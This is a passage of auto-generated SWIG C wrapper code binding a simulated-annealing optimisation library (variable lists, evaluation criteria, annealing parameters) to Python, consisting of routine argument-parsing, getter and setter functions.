  robj = PyCObject_FromVoidPtrAndDesc((void *) ptr, (char *) type->name, NULL);
#else
  {
    char result[512];
    char *r = result;
    *(r++) = '_';
    r = SWIG_PackData(r,&ptr,sizeof(void *));
    strcpy(r,type->name);
    robj = PyString_FromString(result);
  }
#endif
  return robj;
}

SWIGRUNTIME(PyObject *)
SWIG_NewPackedObj(void *ptr, int sz, swig_type_info *type) {
  char result[1024];
  char *r = result;
  if ((2*sz + 1 + strlen(type->name)) > 1000) return 0;
  *(r++) = '_';
  r = SWIG_PackData(r,ptr,sz);
  strcpy(r,type->name);
  return PyString_FromString(result);
}

/* Install Constants */
SWIGRUNTIME(void)
SWIG_InstallConstants(PyObject *d, swig_const_info constants[]) {
  int i;
  PyObject *obj;
  for (i = 0; constants[i].type; i++) {
    switch(constants[i].type) {
    case SWIG_PY_INT:
      obj = PyInt_FromLong(constants[i].lvalue);
      break;
    case SWIG_PY_FLOAT:
      obj = PyFloat_FromDouble(constants[i].dvalue);
      break;
    case SWIG_PY_STRING:
      obj = PyString_FromString((char *) constants[i].pvalue);
      break;
    case SWIG_PY_POINTER:
      obj = SWIG_NewPointerObj(constants[i].pvalue, *(constants[i]).ptype);
      break;
    default:
      obj = 0;
      break;
    }
    if (obj) {
      PyDict_SetItemString(d,constants[i].name,obj);
      Py_DECREF(obj);
    }
  }
}

#endif

#ifdef __cplusplus
}
#endif







/* -------- TYPES TABLE (BEGIN) -------- */

#define  SWIGTYPE_p_variablelist swig_types[0] 
#define  SWIGTYPE_p_simulated_annealing swig_types[1] 
#define  SWIGTYPE_p_basisfile swig_types[2] 
#define  SWIGTYPE_p_FILE swig_types[3] 
#define  SWIGTYPE_p_variable swig_types[4] 
#define  SWIGTYPE_p_simanneal_varlist swig_types[5] 
#define  SWIGTYPE_p_evaluate swig_types[6] 
#define  SWIGTYPE_p_p_char swig_types[7] 
#define  SWIGTYPE_p_string swig_types[8] 
static swig_type_info *swig_types[10];

/* -------- TYPES TABLE (END) -------- */

#define SWIG_init    initsimannealfile

#define SWIG_name    "simannealfile"

#include "simanneal.h"
#include "calculate.h"
#include "evaluate.h"
#include "safe_string.h"
#include "calculate.h"

#ifdef __cplusplus
extern "C" {
#endif
static PyObject *_wrap_new_simanneal_varlist(PyObject *self, PyObject *args) {
    PyObject *resultobj;
    simanneal_varlist *result ;
    
    if(!PyArg_ParseTuple(args,(char *)":new_simanneal_varlist")) return NULL;
    result = (simanneal_varlist *)new simanneal_varlist();
    resultobj = SWIG_NewPointerObj((void *) result, SWIGTYPE_p_simanneal_varlist);
    return resultobj;
}


static PyObject *_wrap_delete_simanneal_varlist(PyObject *self, PyObject *args) {
    PyObject *resultobj;
    simanneal_varlist *arg0 ;
    PyObject * argo0 =0 ;
    
    if(!PyArg_ParseTuple(args,(char *)"O:delete_simanneal_varlist",&argo0)) return NULL;
    if ((SWIG_ConvertPtr(argo0,(void **) &arg0,SWIGTYPE_p_simanneal_varlist,1)) == -1) return NULL;
    delete arg0;
    Py_INCREF(Py_None);
    resultobj = Py_None;
    return resultobj;
}


static PyObject *_wrap_simanneal_varlist_cleany(PyObject *self, PyObject *args) {
    PyObject *resultobj;
    simanneal_varlist *arg0 ;
    PyObject * argo0 =0 ;
    
    if(!PyArg_ParseTuple(args,(char *)"O:simanneal_varlist_cleany",&argo0)) return NULL;
    if ((SWIG_ConvertPtr(argo0,(void **) &arg0,SWIGTYPE_p_simanneal_varlist,1)) == -1) return NULL;
    arg0->clean();
    Py_INCREF(Py_None);
    resultobj = Py_None;
    return resultobj;
}


static PyObject *_wrap_simanneal_varlist_clean(PyObject *self, PyObject *args) {
    PyObject *resultobj;
    simanneal_varlist *arg0 ;
    struct simanneal_varlist *arg1 ;
    PyObject * argo0 =0 ;
    PyObject * argo1 =0 ;
    
    if(!PyArg_ParseTuple(args,(char *)"OO:simanneal_varlist_clean",&argo0,&argo1)) return NULL;
    if ((SWIG_ConvertPtr(argo0,(void **) &arg0,SWIGTYPE_p_simanneal_varlist,1)) == -1) return NULL;
    if ((SWIG_ConvertPtr(argo1,(void **) &arg1,SWIGTYPE_p_simanneal_varlist,1)) == -1) return NULL;
    arg0->clean(arg1);
    Py_INCREF(Py_None);
    resultobj = Py_None;
    return resultobj;
}


static PyObject *_wrap_simanneal_varlist_pt2xn(PyObject *self, PyObject *args) {
    PyObject *resultobj;
    simanneal_varlist *arg0 ;
    PyObject * argo0 =0 ;
    int result ;
    
    if(!PyArg_ParseTuple(args,(char *)"O:simanneal_varlist_pt2xn",&argo0)) return NULL;
    if ((SWIG_ConvertPtr(argo0,(void **) &arg0,SWIGTYPE_p_simanneal_varlist,1)) == -1) return NULL;
    result = (int )arg0->pt2xn();
    resultobj = PyInt_FromLong((long)result);
    return resultobj;
}


static PyObject *_wrap_simanneal_varlist_vl_set(PyObject *self, PyObject *args) {
    PyObject *resultobj;
    simanneal_varlist *arg0 ;
    struct variablelist *arg1 ;
    PyObject * argo0 =0 ;
    PyObject * argo1 =0 ;
    
    if(!PyArg_ParseTuple(args,(char *)"OO:simanneal_varlist_vl_set",&argo0,&argo1)) return NULL;
    if ((SWIG_ConvertPtr(argo0,(void **) &arg0,SWIGTYPE_p_simanneal_varlist,1)) == -1) return NULL;
    if ((SWIG_ConvertPtr(argo1,(void **) &arg1,SWIGTYPE_p_variablelist,1)) == -1) return NULL;
    arg0->vl = arg1;
    Py_INCREF(Py_None);
    resultobj = Py_None;
    return resultobj;
}


static PyObject *_wrap_simanneal_varlist_vl_get(PyObject *self, PyObject *args) {
    PyObject *resultobj;
    simanneal_varlist *arg0 ;
    PyObject * argo0 =0 ;
    struct variablelist *result ;
    
    if(!PyArg_ParseTuple(args,(char *)"O:simanneal_varlist_vl_get",&argo0)) return NULL;
    if ((SWIG_ConvertPtr(argo0,(void **) &arg0,SWIGTYPE_p_simanneal_varlist,1)) == -1) return NULL;
    result = (struct variablelist *) (arg0->vl);
    resultobj = SWIG_NewPointerObj((void *) result, SWIGTYPE_p_variablelist);
    return resultobj;
}


static PyObject *_wrap_simanneal_varlist_next_set(PyObject *self, PyObject *args) {
    PyObject *resultobj;
    simanneal_varlist *arg0 ;
    struct simanneal_varlist *arg1 ;
    PyObject * argo0 =0 ;
    PyObject * argo1 =0 ;
    
    if(!PyArg_ParseTuple(args,(char *)"OO:simanneal_varlist_next_set",&argo0,&argo1)) return NULL;
    if ((SWIG_ConvertPtr(argo0,(void **) &arg0,SWIGTYPE_p_simanneal_varlist,1)) == -1) return NULL;
    if ((SWIG_ConvertPtr(argo1,(void **) &arg1,SWIGTYPE_p_simanneal_varlist,1)) == -1) return NULL;
    arg0->next = arg1;
    Py_INCREF(Py_None);
    resultobj = Py_None;
    return resultobj;
}


static PyObject *_wrap_simanneal_varlist_next_get(PyObject *self, PyObject *args) {
    PyObject *resultobj;
    simanneal_varlist *arg0 ;
    PyObject * argo0 =0 ;
    struct simanneal_varlist *result ;
    
    if(!PyArg_ParseTuple(args,(char *)"O:simanneal_varlist_next_get",&argo0)) return NULL;
    if ((SWIG_ConvertPtr(argo0,(void **) &arg0,SWIGTYPE_p_simanneal_varlist,1)) == -1) return NULL;
    result = (struct simanneal_varlist *) (arg0->next);
    resultobj = SWIG_NewPointerObj((void *) result, SWIGTYPE_p_simanneal_varlist);
    return resultobj;
}


static PyObject *_wrap_new_simulated_annealing(PyObject *self, PyObject *args) {
    PyObject *resultobj;
    simulated_annealing *result ;
    
    if(!PyArg_ParseTuple(args,(char *)":new_simulated_annealing")) return NULL;
    result = (simulated_annealing *)new simulated_annealing();
    resultobj = SWIG_NewPointerObj((void *) result, SWIGTYPE_p_simulated_annealing);
    return resultobj;
}


static PyObject *_wrap_new_simulated_annealing_6args(PyObject *self, PyObject *args) {
    PyObject *resultobj;
    struct variablelist *arg0 ;
    struct basisfile *arg1 ;
    struct evaluate *arg2 ;
    int arg3 ;
    double arg4 ;
    struct string *arg5 ;
    PyObject * argo0 =0 ;
    PyObject * argo1 =0 ;
    PyObject * argo2 =0 ;
    PyObject * argo5 =0 ;
    simulated_annealing *result ;
    
    if(!PyArg_ParseTuple(args,(char *)"OOOidO:new_simulated_annealing_6args",&argo0,&argo1,&argo2,&arg3,&arg4,&argo5)) return NULL;
    if ((SWIG_ConvertPtr(argo0,(void **) &arg0,SWIGTYPE_p_variablelist,1)) == -1) return NULL;
    if ((SWIG_ConvertPtr(argo1,(void **) &arg1,SWIGTYPE_p_basisfile,1)) == -1) return NULL;
    if ((SWIG_ConvertPtr(argo2,(void **) &arg2,SWIGTYPE_p_evaluate,1)) == -1) return NULL;
    if ((SWIG_ConvertPtr(argo5,(void **) &arg5,SWIGTYPE_p_string,1)) == -1) return NULL;
    result = (simulated_annealing *)new simulated_annealing(arg0,arg1,arg2,arg3,arg4,arg5);
    resultobj = SWIG_NewPointerObj((void *) result, SWIGTYPE_p_simulated_annealing);
    return resultobj;
}


static PyObject *_wrap_delete_simulated_annealing(PyObject *self, PyObject *args) {
    PyObject *resultobj;
    simulated_annealing *arg0 ;
    PyObject * argo0 =0 ;
    
    if(!PyArg_ParseTuple(args,(char *)"O:delete_simulated_annealing",&argo0)) return NULL;
    if ((SWIG_ConvertPtr(argo0,(void **) &arg0,SWIGTYPE_p_simulated_annealing,1)) == -1) return NULL;
    delete arg0;
    Py_INCREF(Py_None);
    resultobj = Py_None;
    return resultobj;
}


static PyObject *_wrap_simulated_annealing_vl_set(PyObject *self, PyObject *args) {
    PyObject *resultobj;
    simulated_annealing *arg0 ;
    struct variablelist *arg1 ;
    PyObject * argo0 =0 ;
    PyObject * argo1 =0 ;
    
    if(!PyArg_ParseTuple(args,(char *)"OO:simulated_annealing_vl_set",&argo0,&argo1)) return NULL;
    if ((SWIG_ConvertPtr(argo0,(void **) &arg0,SWIGTYPE_p_simulated_annealing,1)) == -1) return NULL;
    if ((SWIG_ConvertPtr(argo1,(void **) &arg1,SWIGTYPE_p_variablelist,1)) == -1) return NULL;
    arg0->vl = arg1;
    Py_INCREF(Py_None);
    resultobj = Py_None;
    return resultobj;
}


static PyObject *_wrap_simulated_annealing_vl_get(PyObject *self, PyObject *args) {
    PyObject *resultobj;
    simulated_annealing *arg0 ;
    PyObject * argo0 =0 ;
    struct variablelist *result ;
    
    if(!PyArg_ParseTuple(args,(char *)"O:simulated_annealing_vl_get",&argo0)) return NULL;
    if ((SWIG_ConvertPtr(argo0,(void **) &arg0,SWIGTYPE_p_simulated_annealing,1)) == -1) return NULL;
    result = (struct variablelist *) (arg0->vl);
    resultobj = SWIG_NewPointerObj((void *) result, SWIGTYPE_p_variablelist);
    return resultobj;
}


static PyObject *_wrap_simulated_annealing_svl_set(PyObject *self, PyObject *args) {
    PyObject *resultobj;
    simulated_annealing *arg0 ;
    struct simanneal_varlist *arg1 ;
    PyObject * argo0 =0 ;
    PyObject * argo1 =0 ;
    
    if(!PyArg_ParseTuple(args,(char *)"OO:simulated_annealing_svl_set",&argo0,&argo1)) return NULL;
    if ((SWIG_ConvertPtr(argo0,(void **) &arg0,SWIGTYPE_p_simulated_annealing,1)) == -1) return NULL;
    if ((SWIG_ConvertPtr(argo1,(void **) &arg1,SWIGTYPE_p_simanneal_varlist,1)) == -1) return NULL;
    arg0->svl = arg1;
    Py_INCREF(Py_None);
    resultobj = Py_None;
    return resultobj;
}


static PyObject *_wrap_simulated_annealing_svl_get(PyObject *self, PyObject *args) {
    PyObject *resultobj;
    simulated_annealing *arg0 ;
    PyObject * argo0 =0 ;
    struct simanneal_varlist *result ;
    
    if(!PyArg_ParseTuple(args,(char *)"O:simulated_annealing_svl_get",&argo0)) return NULL;
    if ((SWIG_ConvertPtr(argo0,(void **) &arg0,SWIGTYPE_p_simulated_annealing,1)) == -1) return NULL;
    result = (struct simanneal_varlist *) (arg0->svl);
    resultobj = SWIG_NewPointerObj((void *) result, SWIGTYPE_p_simanneal_varlist);
    return resultobj;
}


static PyObject *_wrap_simulated_annealing_text_set(PyObject *self, PyObject *args) {
    PyObject *resultobj;
    simulated_annealing *arg0 ;
    struct basisfile *arg1 ;
    PyObject * argo0 =0 ;
    PyObject * argo1 =0 ;
    
    if(!PyArg_ParseTuple(args,(char *)"OO:simulated_annealing_text_set",&argo0,&argo1)) return NULL;
    if ((SWIG_ConvertPtr(argo0,(void **) &arg0,SWIGTYPE_p_simulated_annealing,1)) == -1) return NULL;
    if ((SWIG_ConvertPtr(argo1,(void **) &arg1,SWIGTYPE_p_basisfile,1)) == -1) return NULL;
    arg0->text = arg1;
    Py_INCREF(Py_None);
    resultobj = Py_None;
    return resultobj;
}


static PyObject *_wrap_simulated_annealing_text_get(PyObject *self, PyObject *args) {
    PyObject *resultobj;
    simulated_annealing *arg0 ;
    PyObject * argo0 =0 ;
    struct basisfile *result ;
    
    if(!PyArg_ParseTuple(args,(char *)"O:simulated_annealing_text_get",&argo0)) return NULL;
    if ((SWIG_ConvertPtr(argo0,(void **) &arg0,SWIGTYPE_p_simulated_annealing,1)) == -1) return NULL;
    result = (struct basisfile *) (arg0->text);
    resultobj = SWIG_NewPointerObj((void *) result, SWIGTYPE_p_basisfile);
    return resultobj;
}


static PyObject *_wrap_simulated_annealing_success_set(PyObject *self, PyObject *args) {
    PyObject *resultobj;
    simulated_annealing *arg0 ;
    struct evaluate *arg1 ;
    PyObject * argo0 =0 ;
    PyObject * argo1 =0 ;
    
    if(!PyArg_ParseTuple(args,(char *)"OO:simulated_annealing_success_set",&argo0,&argo1)) return NULL;
    if ((SWIG_ConvertPtr(argo0,(void **) &arg0,SWIGTYPE_p_simulated_annealing,1)) == -1) return NULL;
    if ((SWIG_ConvertPtr(argo1,(void **) &arg1,SWIGTYPE_p_evaluate,1)) == -1) return NULL;
    arg0->success = arg1;
    Py_INCREF(Py_None);
    resultobj = Py_None;
    return resultobj;
}


static PyObject *_wrap_simulated_annealing_success_get(PyObject *self, PyObject *args) {
    PyObject *resultobj;
    simulated_annealing *arg0 ;
    PyObject * argo0 =0 ;
    struct evaluate *result ;
    
    if(!PyArg_ParseTuple(args,(char *)"O:simulated_annealing_success_get",&argo0)) return NULL;
    if ((SWIG_ConvertPtr(argo0,(void **) &arg0,SWIGTYPE_p_simulated_annealing,1)) == -1) return NULL;
    result = (struct evaluate *) (arg0->success);
    resultobj = SWIG_NewPointerObj((void *) result, SWIGTYPE_p_evaluate);
    return resultobj;
}


static PyObject *_wrap_simulated_annealing_tc_max_set(PyObject *self, PyObject *args) {
    PyObject *resultobj;
    simulated_annealing *arg0 ;
    int arg1 ;
    PyObject * argo0 =0 ;
    
    if(!PyArg_ParseTuple(args,(char *)"Oi:simulated_annealing_tc_max_set",&argo0,&arg1)) return NULL;
    if ((SWIG_ConvertPtr(argo0,(void **) &arg0,SWIGTYPE_p_simulated_annealing,1)) == -1) return NULL;
    arg0->tc_max = arg1;
    Py_INCREF(Py_None);
    resultobj = Py_None;
    return resultobj;
}


static PyObject *_wrap_simulated_annealing_tc_max_get(PyObject *self, PyObject *args) {
    PyObject *resultobj;
    simulated_annealing *arg0 ;
    PyObject * argo0 =0 ;
    int result ;
    
    if(!PyArg_ParseTuple(args,(char *)"O:simulated_annealing_tc_max_get",&argo0)) return NULL;
    if ((SWIG_ConvertPtr(argo0,(void **) &arg0,SWIGTYPE_p_simulated_annealing,1)) == -1) return NULL;
    result = (int ) (arg0->tc_max);
    resultobj = PyInt_FromLong((long)result);
    return resultobj;
}


static PyObject *_wrap_simulated_annealing_t_factor_set(PyObject *self, PyObject *args) {
    PyObject *resultobj;
    simulated_annealing *arg0 ;
    double arg1 ;
    PyObject * argo0 =0 ;
    
    if(!PyArg_ParseTuple(args,(char *)"Od:simulated_annealing_t_factor_set",&argo0,&arg1)) return NULL;
    if ((SWIG_ConvertPtr(argo0,(void **) &arg0,SWIGTYPE_p_simulated_annealing,1)) == -1) return NULL;
    arg0->t_factor = arg1;
    Py_INCREF(Py_None);
    resultobj = Py_None;
    return resultobj;
}


static PyObject *_wrap_simulated_annealing_t_factor_get(PyObject *self, PyObject *args) {
    PyObject *resultobj;
    simulated_annealing *arg0 ;
    PyObject * argo0 =0 ;
    double result ;
    
    if(!PyArg_ParseTuple(args,(char *)"O:simulated_annealing_t_factor_get",&argo0)) return NULL;
    if ((SWIG_ConvertPtr(argo0,(void **) &arg0,SWIGTYPE_p_simulated_annealing,1)) == -1) return NULL;
    result = (double ) (arg0->t_factor);
    resultobj = PyFloat_FromDouble(result);
    return resultobj;
}


static PyObject *_wrap_simulated_annealing_call_set(PyObject *self, PyObject *args) {
    PyObject *resultobj;
    simulated_annealing *arg0 ;
    struct string *arg1 ;
    PyObject * argo0 =0 ;
    PyObject * argo1 =0 ;
    
    if(!PyArg_ParseTuple(args,(char *)"OO:simulated_annealing_call_set",&argo0,&argo1)) return NULL;
    if ((SWIG_ConvertPtr(argo0,(void **) &arg0,SWIGTYPE_p_simulated_annealing,1)) == -1) return NULL;
    if ((SWIG_ConvertPtr(argo1,(void **) &arg1,SWIGTYPE_p_string,1)) == -1) return NULL;
    arg0->call = arg1;
    Py_INCREF(Py_None);
    resultobj = Py_None;
    return resultobj;
}


static PyObject *_wrap_simulated_annealing_call_get(PyObject *self, PyObject *args) {
    PyObject *resultobj;
    simulated_annealing *arg0 ;
    PyObject * argo0 =0 ;
    struct string *result ;
    
    if(!PyArg_ParseTuple(args,(char *)"O:simulated_annealing_call_get",&argo0)) return NULL;
    if ((SWIG_ConvertPtr(argo0,(void **) &arg0,SWIGTYPE_p_simulated_annealing,1)) == -1) return NULL;
    result = (struct string *) (arg0->call);
    resultobj = SWIG_NewPointerObj((void *) result, SWIGTYPE_p_string);
    return resultobj;
}


static PyObject *_wrap_simulated_annealing_build_varlist(PyObject *self, PyObject *args) {
    PyObject *resultobj;
    simulated_annealing *arg0 ;
    PyObject * argo0 =0 ;
    int result ;
    
    if(!PyArg_ParseTuple(args,(char *)"O:simulated_annealing_build_varlist",&argo0)) return NULL;
    if ((SWIG_ConvertPtr(argo0,(void **) &arg0,SWIGTYPE_p_simulated_annealing,1)) == -1) return NULL;
    result = (int )arg0->build_varlist();
    resultobj = PyInt_FromLong((long)result);
    return resultobj;
}


static PyObject *_wrap_simulated_annealing_optimize(PyObject *self, PyObject *args) {
    PyObject *resultobj;
    simulated_annealing *arg0 ;
    PyObject * argo0 =0 ;
    int result ;
    
    if(!PyArg_ParseTuple(args,(char *)"O:simulated_annealing_optimize",&argo0)) return NULL;
    if ((SWIG_ConvertPtr(argo0,(void **) &arg0,SWIGTYPE_p_simulated_annealing,1)) == -1) return NULL;
    result = (int )arg0->optimize();
    resultobj = PyInt_FromLong((long)result);
    return resultobj;
}


static PyObject *_wrap_simulated_annealing_vary_simvarlist(PyObject *self, PyObject *args) {
    PyObject *resultobj;
    simulated_annealing *arg0 ;
    PyObject * argo0 =0 ;
    int result ;
    
    if(!PyArg_ParseTuple(args,(char *)"O:simulated_annealing_vary_simvarlist",&argo0)) return NULL;
    if ((SWIG_ConvertPtr(argo0,(void **) &arg0,SWIGTYPE_p_simulated_annealing,1)) == -1) return NULL;
    result = (int )arg0->vary_simvarlist();
    resultobj = PyInt_FromLong((long)result);
    return resultobj;
}


static PyObject *_wrap_simulated_annealing_take_new_result(PyObject *self, PyObject *args) {
    PyObject *resultobj;
    simulated_annealing *arg0 ;
    struct variable *arg1 ;
    struct variable *arg2 ;
    double arg3 ;
    PyObject * argo0 =0 ;
    PyObject * argo1 =0 ;
    PyObject * argo2 =0 ;
    int result ;
    
    if(!PyArg_ParseTuple(args,(char *)"OOOd:simulated_annealing_take_new_result",&argo0,&argo1,&argo2,&arg3)) return NULL;
    if ((SWIG_ConvertPtr(argo0,(void **) &arg0,SWIGTYPE_p_simulated_annealing,1)) == -1) return NULL;
    if ((SWIG_ConvertPtr(argo1,(void **) &arg1,SWIGTYPE_p_variable,1)) == -1) return NULL;
    if ((SWIG_ConvertPtr(argo2,(void **) &arg2,SWIGTYPE_p_variable,1)) == -1) return NULL;
    result = (int )arg0->take_new_result(*arg1,*arg2,arg3);
    resultobj = PyInt_FromLong((long)result);
    return resultobj;
}


static PyObject *_wrap_x_now_2_x_opt(PyObject *self, PyObject *args) {
    PyObject *resultobj;
    struct simanneal_varlist *arg0 ;
    PyObject * argo0 =0 ;
    int result ;
    
    if(!PyArg_ParseTuple(args,(char *)"O:x_now_2_x_opt",&argo0)) return NULL;
    if ((SWIG_ConvertPtr(argo0,(void **) &arg0,SWIGTYPE_p_simanneal_varlist,1)) == -1) return NULL;
    result = (int )x_now_2_x_opt(arg0);
    resultobj = PyInt_FromLong((long)result);
    return resultobj;
}


static PyObject *_wrap_calc_4args(PyObject *self, PyObject *args) {
    PyObject *resultobj;
    struct variable *arg0 ;
    struct variablelist *arg1 ;
    struct basisfile *arg2 ;
    struct string *arg3 ;
    PyObject * argo0 =0 ;
    PyObject * argo1 =0 ;
    PyObject * argo2 =0 ;
    PyObject * argo3 =0 ;
    int result ;
    
    if(!PyArg_ParseTuple(args,(char *)"OOOO:calc_4args",&argo0,&argo1,&argo2,&argo3)) return NULL;
    if ((SWIG_ConvertPtr(argo0,(void **) &arg0,SWIGTYPE_p_variable,1)) == -1) return NULL;
    if ((SWIG_ConvertPtr(argo1,(void **) &arg1,SWIGTYPE_p_variablelist,1)) == -1) return NULL;
    if ((SWIG_ConvertPtr(argo2,(void **) &arg2,SWIGTYPE_p_basisfile,1)) == -1) return NULL;
    if ((SWIG_ConvertPtr(argo3,(void **) &arg3,SWIGTYPE_p_string,1)) == -1) return NULL;
    result = (int )calculate(*arg0,arg1,arg2,arg3);
    resultobj = PyInt_FromLong((long)result);
    return resultobj;
}


static PyObject *_wrap_calculate(PyObject *self, PyObject *args) {
    PyObject *resultobj;
    struct variable *arg0 ;
    struct basisfile *arg1 ;
    struct string *arg2 ;
    PyObject * argo0 =0 ;
    PyObject * argo1 =0 ;
    PyObject * argo2 =0 ;
    int result ;
    
    if(!PyArg_ParseTuple(args,(char *)"OOO:calculate",&argo0,&argo1,&argo2)) return NULL;
    if ((SWIG_ConvertPtr(argo0,(void **) &arg0,SWIGTYPE_p_variable,1)) == -1) return NULL;
    if ((SWIG_ConvertPtr(argo1,(void **) &arg1,SWIGTYPE_p_basisfile,1)) == -1) return NULL;
    if ((SWIG_ConvertPtr(argo2,(void **) &arg2,SWIGTYPE_p_string,1)) == -1) return NULL;
    result = (int )calculate(*arg0,arg1,arg2);
    resultobj = PyInt_FromLong((long)result);
    return resultobj;
}


static PyObject *_wrap_new_evaluate(PyObject *self, PyObject *args) {
    PyObject *resultobj;
    evaluate *result ;
    
    if(!PyArg_ParseTuple(args,(char *)":new_evaluate")) return NULL;
    result = (evaluate *)new evaluate();
    resultobj = SWIG_NewPointerObj((void *) result, SWIGTYPE_p_evaluate);
    return resultobj;
}


static PyObject *_wrap_delete_evaluate(PyObject *self, PyObject *args) {
    PyObject *resultobj;
    evaluate *arg0 ;
    PyObject * argo0 =0 ;
    
    if(!PyArg_ParseTuple(args,(char *)"O:delete_evaluate",&argo0)) return NULL;
    if ((SWIG_ConvertPtr(argo0,(void **) &arg0,SWIGTYPE_p_evaluate,1)) == -1) return NULL;
    delete arg0;
    Py_INCREF(Py_None);
    resultobj = Py_None;
    return resultobj;
}


static PyObject *_wrap_evaluate_criteria_set(PyObject *self, PyObject *args) {
    PyObject *resultobj;
    evaluate *arg0 ;
    char arg1 ;
    PyObject * argo0 =0 ;
    
    if(!PyArg_ParseTuple(args,(char *)"Oc:evaluate_criteria_set",&argo0,&arg1)) return NULL;
    if ((SWIG_ConvertPtr(argo0,(void **) &arg0,SWIGTYPE_p_evaluate,1)) == -1) return NULL;
    arg0->criteria = arg1;
    Py_INCREF(Py_None);
    resultobj = Py_None;
    return resultobj;
}


static PyObject *_wrap_evaluate_criteria_get(PyObject *self, PyObject *args) {
    PyObject *resultobj;
    evaluate *arg0 ;
    PyObject * argo0 =0 ;
    char result ;
    
    if(!PyArg_ParseTuple(args,(char *)"O:evaluate_criteria_get",&argo0)) return NULL;
    if ((SWIG_ConvertPtr(argo0,(void **) &arg0,SWIGTYPE_p_evaluate,1)) == -1) return NULL;
    result = (char ) (arg0->criteria);
    resultobj = Py_BuildValue("c",result);
    return resultobj;
}


static PyObject *_wrap_evaluate_goal_set(PyObject *self, PyObject *args) {
    PyObject *resultobj;
    evaluate *arg0 ;
    struct variable *arg1 ;
    PyObject * argo0 =0 ;
    PyObject * argo1 =0 ;
    
    if(!PyArg_ParseTuple(args,(char *)"OO:evaluate_goal_set",&argo0,&argo1)) return NULL;
    if ((SWIG_ConvertPtr(argo0,(void **) &arg0,SWIGTYPE_p_evaluate,1)) == -1) return NULL;
    if ((SWIG_ConvertPtr(argo1,(void **) &arg1,SWIGTYPE_p_variable,1)) == -1) return NULL;
    arg0->goal = arg1;
    Py_INCREF(Py_None);
    resultobj = Py_None;
    return resultobj;
}


static PyObject *_wrap_evaluate_goal_get(PyObject *self, PyObject *args) {
    PyObject *resultobj;
    evaluate *arg0 ;
    PyObject * argo0 =0 ;
    struct variable *result ;
    
    if(!PyArg_ParseTuple(args,(char *)"O:evaluate_goal_get",&argo0)) return NULL;
    if ((SWIG_ConvertPtr(argo0,(void **) &arg0,SWIGTYPE_p_evaluate,1)) == -1) return NULL;
    result = (struct variable *) (arg0->goal);
    resultobj = SWIG_NewPointerObj((void *) result, SWIGTYPE_p_variable);
    return resultobj;
}


static PyObject *_wrap_evaluate_epsilon_set(PyObject *self, PyObject *args) {
    PyObject *resultobj;
    evaluate *arg0 ;
    struct variable *arg1 ;
    PyObject * argo0 =0 ;
    PyObject * argo1 =0 ;
    
    if(!PyArg_ParseTuple(args,(char *)"OO:evaluate_epsilon_set",&argo0,&argo1)) return NULL;
    if ((SWIG_ConvertPtr(argo0,(void **) &arg0,SWIGTYPE_p_evaluate,1)) == -1) return NULL;
    if ((SWIG_ConvertPtr(argo1,(void **) &arg1,SWIGTYPE_p_variable,1)) == -1) return NULL;
    arg0->epsilon = arg1;
    Py_INCREF(Py_None);
    resultobj = Py_None;
    return resultobj;
}


static PyObject *_wrap_evaluate_epsilon_get(PyObject *self, PyObject *args) {
    PyObject *resultobj;
    evaluate *arg0 ;
    PyObject * argo0 =0 ;
    struct variable *result ;
    
    if(!PyArg_ParseTuple(args,(char *)"O:evaluate_epsilon_get",&argo0)) return NULL;
    if ((SWIG_ConvertPtr(argo0,(void **) &arg0,SWIGTYPE_p_evaluate,1)) == -1) return NULL;
    result = (struct variable *) (arg0->epsilon);
    resultobj = SWIG_NewPointerObj((void *) result, SWIGTYPE_p_variable);
    return resultobj;
}


static PyObject *_wrap_evaluate_minchange_set(PyObject *self, PyObject *args) {
    PyObject *resultobj;
    evaluate *arg0 ;
    struct variable *arg1 ;
    PyObject * argo0 =0 ;
    PyObject * argo1 =0 ;
    
    if(!PyArg_ParseTuple(args,(char *)"OO:evaluate_minchange_set",&argo0,&argo1)) return NULL;
    if ((SWIG_ConvertPtr(argo0,(void **) &arg0,SWIGTYPE_p_evaluate,1)) == -1) return NULL;
    if ((SWIG_ConvertPtr(argo1,(void **) &arg1,SWIGTYPE_p_variable,1)) == -1) return NULL;
    arg0->minchange = arg1;
    Py_INCREF(Py_None);
    resultobj = Py_None;
    return resultobj;
}


static PyObject *_wrap_evaluate_minchange_get(PyObject *self, PyObject *args) {
    PyObject *resultobj;
    evaluate *arg0 ;
    PyObject * argo0 =0 ;
    struct variable *result ;
    
    if(!PyArg_ParseTuple(args,(char *)"O:evaluate_minchange_get",&argo0)) return NULL;
    if ((SWIG_ConvertPtr(argo0,(void **) &arg0,SWIGTYPE_p_evaluate,1)) == -1) return NULL;
    result = (struct variable *) (arg0->minchange);
    resultobj = SWIG_NewPointerObj((void *) result, SWIGTYPE_p_variable);
    return resultobj;
}


static PyObject *_wrap_evaluate_n_set(PyObject *self, PyObject *args) {
    PyObject *resultobj;
    evaluate *arg0 ;
    int arg1 ;
    PyObject * argo0 =0 ;
    
    if(!PyArg_ParseTuple(args,(char *)"Oi:evaluate_n_set",&argo0,&arg1)) return NULL;
    if ((SWIG_ConvertPtr(argo0,(void **) &arg0,SWIGTYPE_p_evaluate,1)) == -1) return NULL;
    arg0->n = arg1;
    Py_INCREF(Py_None);
    resultobj = Py_None;
    return resultobj;
}


static PyObject *_wrap_evaluate_n_get(PyObject *self, PyObject *args) {
    PyObject *resultobj;
    evaluate *arg0 ;
    PyObject * argo0 =0 ;
    int result ;
    
    if(!PyArg_ParseTuple(args,(char *)"O:evaluate_n_get",&argo0)) return NULL;
    if ((SWIG_ConvertPtr(argo0,(void **) &arg0,SWIGTYPE_p_evaluate,1)) == -1) return NULL;
    result = (int ) (arg0->n);
    resultobj = PyInt_FromLong((long)result);
    return resultobj;
}


static PyObject *_wrap_evaluate_abort(PyObject *self, PyObject *args) {
    PyObject *resultobj;
    evaluate *arg0 ;
    struct variable *arg1 ;
    PyObject * argo0 =0 ;
    PyObject * argo1 =0 ;
    int result ;
    
    if(!PyArg_ParseTuple(args,(char *)"OO:evaluate_abort",&argo0,&argo1)) return NULL;
    if ((SWIG_ConvertPtr(argo0,(void **) &arg0,SWIGTYPE_p_evaluate,1)) == -1) return NULL;
    if ((SWIG_ConvertPtr(argo1,(void **) &arg1,SWIGTYPE_p_variable,1)) == -1) return NULL;
    result = (int )arg0->abort(*arg1);
    resultobj = PyInt_FromLong((long)result);
    return resultobj;
}


static PyObject *_wrap_string_size_set(PyObject *self, PyObject *args) {
    PyObject *resultobj;
    string *arg0 ;
    int arg1 ;
    PyObject * argo0 =0 ;
    
    if(!PyArg_ParseTuple(args,(char *)"Oi:string_size_set",&argo0,&arg1)) return NULL;
